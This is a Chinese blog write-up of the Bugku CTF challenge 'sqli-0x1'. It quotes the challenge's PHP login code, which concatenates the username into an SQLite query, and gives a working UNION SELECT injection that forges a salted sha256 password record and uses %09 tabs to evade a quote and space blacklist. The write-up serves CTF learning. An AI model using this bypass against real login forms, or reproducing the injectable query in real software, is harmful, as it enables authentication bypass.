当前位置: 首页 > news >正文

bugku——sqli-0x1

尝试万能和密码

发现不行,查看源码。给了一个路径 /?pls_help

<?php error_reporting(0); error_log(0); require_once("flag.php"); function is_trying_to_hak_me($str) { $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"]; if (strpos($str, "'") !== false) { if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) { return true; } } foreach ($blacklist as $token) { if (strpos($str, $token) !== false) return true; } return false; } if (isset($_GET["pls_help"])) { highlight_file(__FILE__); exit; } if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; } ?> <!DOCTYPE html> <html> <head> <title>Hack.INI 9th - SQLi</title> </head> <body> <?php if (isset($logged_in) && $logged_in): ?> <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p> <?php else: ?> <form method="post"> <input type="text" placeholder="Username" name="user" required> <input type="password" placeholder="Password" name="pass" required> <button type="submit">Login</button> <br><br> <?php if (isset($err)) echo $err; ?> </form> <?php endif; ?> <!-- <a href="/?pls_help">get some help</a> --> </body> </html>

第一部分

function is_trying_to_hak_me($str)里过滤了

['空格][空格']["][`][空格`][`空格][>][<]

只能存在 [数字或字母'数字或字母]的格式。

第二部分

是对这个/?pls_help高亮的。

第三部分

if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) { $user = $_POST["user"]; $pass = $_POST["pass"]; if (is_trying_to_hak_me($user)) { die("why u bully me"); } $db = new SQLite3("/var/db.sqlite"); $result = $db->query("SELECT * FROM users WHERE username='$user'"); if ($result === false) die("pls dont break me"); else $result = $result->fetchArray(); if ($result) { $split = explode('$', $result["password"]); $password_hash = $split[0]; $salt = $split[1]; if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true; else $err = "Wrong password"; } else $err = "No such user"; }

这里是先判断user和pass是不是非空的

然后中间,连接数据库,漏洞就出在这里,直接拼接$user。

然后重点是下面的部分

将password用$分开,然后第一部分split[0]是密码+盐的哈希值,第二部分是split[1]

我们需要创造一个新的记录

我么假设密码是123是456

我们先构造password就是sha256(密码+盐)$盐

8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456

然后构造查询语句

a'union%09select%09 1,'8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92$456'--+&pass=123

这里的%09是空格,不然会被第一部分过滤掉

答案就出来了。

http://www.cnnetsun.cn/news/116311.html

相关文章:

  • Freedom Chat | 这款美国通讯应用泄露了所有人的电话号码
  • JMeter 二次开发环境准备详解
  • OkHttp跨平台网络开发实战指南:从架构原理到性能优化
  • 2025有哪些免费降ai率工具?有哪些免费AI率查重工具?
  • 大模型应用开发-Langchain(V1-最新版)-上
  • 知网AI率降到3%,还免费降AI500字,这个降AI工具真好!
  • 终极性能释放:AMD APU隐藏的30%算力这样激活
  • FusionCompute 8.0完整资源获取指南:从零开始搭建虚拟化实验环境
  • The Mirror版本控制系统终极指南:实现高效协作与智能冲突解决
  • 【扫盲】sql代码里那个“傻鸟” 1=1 到底是个啥?为什么 MyBatis 不用写?
  • 熟人推荐模式年入10亿的秘密
  • Day 42 复习日
  • 大模型Memory模块深度解析:从基础实现到高级应用!
  • 53.自定义工作队列传参
  • 安全VR:靠谱的VR安全体验馆厂商品牌榜,技术实力与落地案例
  • 灵遁者:我对于探索的热爱,从来没有减少过
  • 右值引用和移动语义
  • 基于PLC的智能路灯控制系统的设计
  • N-乙酰神经氨酸——连接生命与健康的“智慧糖链”核心组分 CAS:131-48-6
  • ZooKeeper:enableACL和requireClientSASLAuth
  • 为什么K8s 1.24 的容器时间调整会影响宿主机的时间啊?
  • AI时代核心竞争力:手写多智能体系统,不依赖LangChain/LlamaIndex
  • WebSocket 对比 MQTT通信优势
  • 基于springboot面料花型试衣系统
  • 域名被污染是什么意思?还能不能继续使用?
  • Python大数据基于深度学习的音乐推荐系统-250326--论文
  • Python大数据影评情感分析可视化及推荐系统的设计与实现_u5ck1y17_论文
  • AI Agent设计模式大揭秘:9种架构让你从编程小白变身架构师!
  • Python大数据基于Spark的南昌房价数据分析系统的设计与实现_45i0b357_论文
  • 9 个降AI率工具,自考人必备的降重神器!